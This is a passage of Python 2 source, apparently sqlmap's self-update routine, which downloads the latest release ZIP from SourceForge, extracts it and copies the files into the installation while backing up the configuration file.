if sqlmapNewestVersion == VERSION:
|
||||
infoMsg = "you are already running sqlmap latest stable version"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
else:
|
||||
infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
|
||||
infoMsg += "Going to download it from the SourceForge File List page"
|
||||
logger.info(infoMsg)
|
||||
|
||||
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
||||
|
||||
try:
|
||||
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
# Save the sqlmap compressed source to a ZIP file in a temporary
|
||||
# directory and extract it
|
||||
zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||
__createFile(zipFile, sqlmapBinaryString)
|
||||
tempDir = __extractZipFile(zipFile)
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")):
|
||||
# Just for development release
|
||||
if '.svn' in dirs:
|
||||
dirs.remove('.svn')
|
||||
|
||||
cleanRoot = root.replace(tempDir, "")
|
||||
cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "")
|
||||
|
||||
if cleanRoot.startswith("/"):
|
||||
cleanRoot = cleanRoot[1:]
|
||||
|
||||
for f in files:
|
||||
# Just for development release
|
||||
if f.endswith(".pyc") or f.endswith(".pyo"):
|
||||
continue
|
||||
|
||||
srcFile = os.path.join(root, f)
|
||||
dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
|
||||
|
||||
if os.path.exists(dstFile):
|
||||
debugMsg = "replacing file '%s'" % dstFile
|
||||
else:
|
||||
debugMsg = "creating new file '%s'" % dstFile
|
||||
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if f == "sqlmap.conf" and os.path.exists(dstFile):
|
||||
infoMsg = "backupping configuration file to '%s.bak'" % dstFile
|
||||
logger.info(infoMsg)
|
||||
shutil.move(dstFile, "%s.bak" % dstFile)
|
||||
|
||||
mkpath(os.path.dirname(dstFile))
|
||||
shutil.copy(srcFile, dstFile)
|
||||
|
||||
if f.endswith(".py"):
|
||||
os.chmod(dstFile, 0755)
|
||||
|
||||
infoMsg = "sqlmap updated successfully"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def update():
|
||||
if not conf.updateAll:
|
||||
return
|
||||
|
||||
__updateSqlmap()
|
||||
__updateMSSQLXML()
|
||||
Reference in New Issue
Block a user